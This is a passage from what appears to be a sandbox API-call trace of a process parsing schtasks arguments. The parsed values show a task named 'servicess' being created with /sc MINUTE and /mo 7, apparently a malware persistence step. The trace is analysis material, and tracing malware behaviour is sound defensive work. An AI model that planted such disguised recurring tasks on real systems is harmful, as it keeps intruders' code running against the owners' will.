[0059.525] lstrlenW (lpString="ru") returned 2 [0059.525] lstrlenW (lpString="ru") returned 2 [0059.525] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.525] lstrlenW (lpString="tn") returned 2 [0059.525] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.525] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ru|") returned 4 [0059.526] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.526] lstrlenW (lpString="|ru|") returned 4 [0059.526] lstrlenW (lpString="|tn|") returned 4 [0059.526] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0059.526] SetLastError (dwErrCode=0x490) [0059.526] lstrlenW (lpString="rp") returned 2 [0059.526] lstrlenW (lpString="rp") returned 2 [0059.526] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.526] lstrlenW (lpString="tn") returned 2 [0059.526] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.526] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|rp|") returned 4 [0059.526] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.526] lstrlenW (lpString="|rp|") returned 4 [0059.526] lstrlenW (lpString="|tn|") returned 4 [0059.526] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0059.526] SetLastError (dwErrCode=0x490) [0059.526] lstrlenW (lpString="sc") returned 2 [0059.526] lstrlenW (lpString="sc") returned 2 [0059.526] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.526] lstrlenW (lpString="tn") returned 2 [0059.526] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.526] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.526] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.527] lstrlenW (lpString="|sc|") returned 4 [0059.527] lstrlenW (lpString="|tn|") returned 4 [0059.527] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0059.527] SetLastError (dwErrCode=0x490) [0059.527] lstrlenW (lpString="mo") returned 2 [0059.527] lstrlenW (lpString="mo") returned 2 [0059.527] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.527] lstrlenW (lpString="tn") returned 2 [0059.527] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.527] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.527] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.527] lstrlenW (lpString="|mo|") returned 4 [0059.527] lstrlenW (lpString="|tn|") returned 4 [0059.527] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0059.527] SetLastError (dwErrCode=0x490) [0059.527] lstrlenW (lpString="d") returned 1 [0059.527] lstrlenW (lpString="d") returned 1 [0059.527] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.527] lstrlenW (lpString="tn") returned 2 [0059.527] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.527] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|d|") returned 3 [0059.527] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.527] lstrlenW (lpString="|d|") returned 3 [0059.527] lstrlenW (lpString="|tn|") returned 4 [0059.528] SetLastError (dwErrCode=0x490) [0059.528] lstrlenW (lpString="m") returned 1 [0059.528] lstrlenW (lpString="m") returned 1 [0059.528] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.528] lstrlenW (lpString="tn") returned 2 [0059.528] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.528] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|m|") returned 3 [0059.528] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.528] lstrlenW (lpString="|m|") returned 3 [0059.528] lstrlenW (lpString="|tn|") returned 4 [0059.528] SetLastError (dwErrCode=0x490) [0059.528] lstrlenW (lpString="i") returned 1 [0059.528] lstrlenW (lpString="i") returned 1 [0059.528] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.528] lstrlenW (lpString="tn") returned 2 [0059.528] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.528] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|i|") returned 3 [0059.528] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.528] lstrlenW (lpString="|i|") returned 3 [0059.528] lstrlenW (lpString="|tn|") returned 4 [0059.528] SetLastError (dwErrCode=0x490) [0059.528] lstrlenW (lpString="tn") returned 2 [0059.528] lstrlenW (lpString="tn") returned 2 [0059.528] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.529] lstrlenW (lpString="tn") returned 2 [0059.529] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.529] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.529] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.529] lstrlenW (lpString="|tn|") returned 4 [0059.529] lstrlenW (lpString="|tn|") returned 4 [0059.529] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0059.529] SetLastError (dwErrCode=0x0) [0059.529] SetLastError (dwErrCode=0x0) [0059.529] lstrlenW (lpString="servicess") returned 9 [0059.529] lstrlenW (lpString="-/") returned 2 [0059.529] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0059.529] SetLastError (dwErrCode=0x490) [0059.529] SetLastError (dwErrCode=0x490) [0059.529] SetLastError (dwErrCode=0x0) [0059.529] lstrlenW (lpString="servicess") returned 9 [0059.529] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0059.529] SetLastError (dwErrCode=0x490) [0059.529] SetLastError (dwErrCode=0x0) [0059.529] lstrlenW (lpString="servicess") returned 9 [0059.529] SetLastError (dwErrCode=0x0) [0059.529] SetLastError (dwErrCode=0x0) [0059.529] lstrlenW (lpString="/sc") returned 3 [0059.529] lstrlenW (lpString="-/") returned 2 [0059.529] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.529] lstrlenW (lpString="create") returned 6 [0059.529] lstrlenW (lpString="create") returned 6 [0059.530] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.530] lstrlenW (lpString="sc") returned 2 [0059.530] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.530] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.530] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.530] lstrlenW (lpString="|create|") returned 8 [0059.530] lstrlenW (lpString="|sc|") returned 4 [0059.530] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0059.530] SetLastError (dwErrCode=0x490) [0059.530] lstrlenW (lpString="?") returned 1 [0059.530] lstrlenW (lpString="?") returned 1 [0059.530] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.530] lstrlenW (lpString="sc") returned 2 [0059.530] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.530] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|?|") returned 3 [0059.530] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.530] lstrlenW (lpString="|?|") returned 3 [0059.530] lstrlenW (lpString="|sc|") returned 4 [0059.530] SetLastError (dwErrCode=0x490) [0059.530] lstrlenW (lpString="s") returned 1 [0059.530] lstrlenW (lpString="s") returned 1 [0059.530] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.530] lstrlenW (lpString="sc") returned 2 [0059.530] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.531] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|s|") returned 3 [0059.531] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.531] lstrlenW (lpString="|s|") returned 3 [0059.531] lstrlenW (lpString="|sc|") returned 4 [0059.531] SetLastError (dwErrCode=0x490) [0059.531] lstrlenW (lpString="u") returned 1 [0059.531] lstrlenW (lpString="u") returned 1 [0059.531] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.531] lstrlenW (lpString="sc") returned 2 [0059.531] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.531] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|u|") returned 3 [0059.531] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.531] lstrlenW (lpString="|u|") returned 3 [0059.531] lstrlenW (lpString="|sc|") returned 4 [0059.531] SetLastError (dwErrCode=0x490) [0059.531] lstrlenW (lpString="p") returned 1 [0059.531] lstrlenW (lpString="p") returned 1 [0059.531] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.531] lstrlenW (lpString="sc") returned 2 [0059.531] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.531] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|p|") returned 3 [0059.531] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.531] lstrlenW (lpString="|p|") returned 3 [0059.532] lstrlenW (lpString="|sc|") returned 4 [0059.532] SetLastError (dwErrCode=0x490) [0059.532] lstrlenW (lpString="ru") returned 2 [0059.532] lstrlenW (lpString="ru") returned 2 [0059.532] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.532] lstrlenW (lpString="sc") returned 2 [0059.532] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.532] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ru|") returned 4 [0059.532] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.532] lstrlenW (lpString="|ru|") returned 4 [0059.532] lstrlenW (lpString="|sc|") returned 4 [0059.532] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0059.532] SetLastError (dwErrCode=0x490) [0059.532] lstrlenW (lpString="rp") returned 2 [0059.532] lstrlenW (lpString="rp") returned 2 [0059.532] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.532] lstrlenW (lpString="sc") returned 2 [0059.532] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.532] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|rp|") returned 4 [0059.532] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.532] lstrlenW (lpString="|rp|") returned 4 [0059.532] lstrlenW (lpString="|sc|") returned 4 [0059.532] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0059.532] SetLastError (dwErrCode=0x490) [0059.532] lstrlenW (lpString="sc") returned 2 [0059.533] lstrlenW (lpString="sc") returned 2 [0059.533] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.533] lstrlenW (lpString="sc") returned 2 [0059.533] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.533] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.533] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.533] lstrlenW (lpString="|sc|") returned 4 [0059.533] lstrlenW (lpString="|sc|") returned 4 [0059.533] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0059.533] SetLastError (dwErrCode=0x0) [0059.533] SetLastError (dwErrCode=0x0) [0059.533] lstrlenW (lpString="MINUTE") returned 6 [0059.533] lstrlenW (lpString="-/") returned 2 [0059.533] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0059.533] SetLastError (dwErrCode=0x490) [0059.533] SetLastError (dwErrCode=0x490) [0059.533] SetLastError (dwErrCode=0x0) [0059.533] lstrlenW (lpString="MINUTE") returned 6 [0059.533] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0059.533] SetLastError (dwErrCode=0x490) [0059.533] SetLastError (dwErrCode=0x0) [0059.533] GetProcessHeap () returned 0x1b0000 [0059.533] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cd6b0 [0059.533] _memicmp (_Buf1=0x1cd6b0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.533] lstrlenW (lpString="MINUTE") returned 6 [0059.533] GetProcessHeap () returned 0x1b0000 [0059.534] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd6d0 [0059.534] lstrlenW (lpString="MINUTE") returned 6 [0059.534] lstrlenW (lpString=" \x09") returned 2 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0059.534] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0059.534] GetLastError () returned 0x0 [0059.534] lstrlenW (lpString="MINUTE") returned 6 [0059.534] lstrlenW (lpString="MINUTE") returned 6 [0059.534] SetLastError (dwErrCode=0x0) [0059.534] SetLastError (dwErrCode=0x0) [0059.534] lstrlenW (lpString="/mo") returned 3 [0059.534] lstrlenW (lpString="-/") returned 2 [0059.534] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.534] lstrlenW (lpString="create") returned 6 [0059.534] lstrlenW (lpString="create") returned 6 [0059.534] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.534] lstrlenW (lpString="mo") returned 2 [0059.534] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.534] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.534] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.535] lstrlenW (lpString="|create|") returned 8 [0059.535] lstrlenW (lpString="|mo|") returned 4 [0059.535] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0059.535] SetLastError (dwErrCode=0x490) [0059.535] lstrlenW (lpString="?") returned 1 [0059.535] lstrlenW (lpString="?") returned 1 [0059.535] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.535] lstrlenW (lpString="mo") returned 2 [0059.535] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.535] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|?|") returned 3 [0059.535] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.535] lstrlenW (lpString="|?|") returned 3 [0059.535] lstrlenW (lpString="|mo|") returned 4 [0059.535] SetLastError (dwErrCode=0x490) [0059.535] lstrlenW (lpString="s") returned 1 [0059.535] lstrlenW (lpString="s") returned 1 [0059.535] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.535] lstrlenW (lpString="mo") returned 2 [0059.535] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.535] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|s|") returned 3 [0059.535] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.535] lstrlenW (lpString="|s|") returned 3 [0059.535] lstrlenW (lpString="|mo|") returned 4 [0059.535] SetLastError (dwErrCode=0x490) [0059.535] lstrlenW (lpString="u") returned 1 [0059.536] lstrlenW (lpString="u") returned 1 [0059.536] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.536] lstrlenW (lpString="mo") returned 2 [0059.536] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.536] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|u|") returned 3 [0059.536] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.536] lstrlenW (lpString="|u|") returned 3 [0059.536] lstrlenW (lpString="|mo|") returned 4 [0059.536] SetLastError (dwErrCode=0x490) [0059.536] lstrlenW (lpString="p") returned 1 [0059.536] lstrlenW (lpString="p") returned 1 [0059.536] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.536] lstrlenW (lpString="mo") returned 2 [0059.536] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.536] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|p|") returned 3 [0059.536] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.536] lstrlenW (lpString="|p|") returned 3 [0059.536] lstrlenW (lpString="|mo|") returned 4 [0059.536] SetLastError (dwErrCode=0x490) [0059.536] lstrlenW (lpString="ru") returned 2 [0059.536] lstrlenW (lpString="ru") returned 2 [0059.536] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.536] lstrlenW (lpString="mo") returned 2 [0059.536] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.537] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ru|") returned 4 [0059.537] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.537] lstrlenW (lpString="|ru|") returned 4 [0059.537] lstrlenW (lpString="|mo|") returned 4 [0059.537] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0059.537] SetLastError (dwErrCode=0x490) [0059.537] lstrlenW (lpString="rp") returned 2 [0059.537] lstrlenW (lpString="rp") returned 2 [0059.537] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.537] lstrlenW (lpString="mo") returned 2 [0059.537] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.537] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|rp|") returned 4 [0059.537] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.537] lstrlenW (lpString="|rp|") returned 4 [0059.537] lstrlenW (lpString="|mo|") returned 4 [0059.537] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0059.537] SetLastError (dwErrCode=0x490) [0059.537] lstrlenW (lpString="sc") returned 2 [0059.563] lstrlenW (lpString="sc") returned 2 [0059.563] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.563] lstrlenW (lpString="mo") returned 2 [0059.563] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.563] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.563] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.563] lstrlenW (lpString="|sc|") returned 4 [0059.563] lstrlenW (lpString="|mo|") returned 4 [0059.564] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0059.564] SetLastError (dwErrCode=0x490) [0059.564] lstrlenW (lpString="mo") returned 2 [0059.564] lstrlenW (lpString="mo") returned 2 [0059.564] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.564] lstrlenW (lpString="mo") returned 2 [0059.564] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.564] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.564] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.564] lstrlenW (lpString="|mo|") returned 4 [0059.564] lstrlenW (lpString="|mo|") returned 4 [0059.564] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0059.564] SetLastError (dwErrCode=0x0) [0059.564] SetLastError (dwErrCode=0x0) [0059.564] lstrlenW (lpString="7") returned 1 [0059.564] SetLastError (dwErrCode=0x490) [0059.564] SetLastError (dwErrCode=0x0) [0059.564] lstrlenW (lpString="7") returned 1 [0059.564] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0059.564] SetLastError (dwErrCode=0x490) [0059.564] SetLastError (dwErrCode=0x0) [0059.564] _memicmp (_Buf1=0x1cd6b0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.564] lstrlenW (lpString="7") returned 1 [0059.564] lstrlenW (lpString="7") returned 1 [0059.564] lstrlenW (lpString=" \x09") returned 2 [0059.564] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.565] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.565] GetLastError () returned 0x0 [0059.565] lstrlenW (lpString="7") returned 1 [0059.565] lstrlenW (lpString="7") returned 1 [0059.565] GetProcessHeap () returned 0x1b0000 [0059.565] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x4) returned 0x1c5560 [0059.565] SetLastError (dwErrCode=0x0) [0059.565] SetLastError (dwErrCode=0x0) [0059.565] lstrlenW (lpString="/tr") returned 3 [0059.565] lstrlenW (lpString="-/") returned 2 [0059.565] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.565] lstrlenW (lpString="create") returned 6 [0059.565] lstrlenW (lpString="create") returned 6 [0059.565] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.565] lstrlenW (lpString="tr") returned 2 [0059.565] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.565] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.565] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.565] lstrlenW (lpString="|create|") returned 8 [0059.565] lstrlenW (lpString="|tr|") returned 4 [0059.565] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0059.565] SetLastError (dwErrCode=0x490) [0059.565] lstrlenW (lpString="?") returned 1 [0059.565] lstrlenW (lpString="?") returned 1 [0059.565] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.566] lstrlenW (lpString="tr") returned 2 [0059.566] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.566] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|?|") returned 3 [0059.566] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.566] lstrlenW (lpString="|?|") returned 3 [0059.566] lstrlenW (lpString="|tr|") returned 4 [0059.566] SetLastError (dwErrCode=0x490) [0059.566] lstrlenW (lpString="s") returned 1 [0059.566] lstrlenW (lpString="s") returned 1 [0059.566] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.566] lstrlenW (lpString="tr") returned 2 [0059.566] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.566] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|s|") returned 3 [0059.566] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.566] lstrlenW (lpString="|s|") returned 3 [0059.566] lstrlenW (lpString="|tr|") returned 4 [0059.566] SetLastError (dwErrCode=0x490) [0059.566] lstrlenW (lpString="u") returned 1 [0059.566] lstrlenW (lpString="u") returned 1 [0059.566] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.566] lstrlenW (lpString="tr") returned 2 [0059.566] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.566] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|u|") returned 3 [0059.567] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.567] lstrlenW (lpString="|u|") returned 3 [0059.567] lstrlenW (lpString="|tr|") returned 4 [0059.567] SetLastError (dwErrCode=0x490) [0059.567] lstrlenW (lpString="p") returned 1 [0059.567] lstrlenW (lpString="p") returned 1 [0059.567] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.567] lstrlenW (lpString="tr") returned 2 [0059.567] _memicmp (_Buf1=0x1cc350, 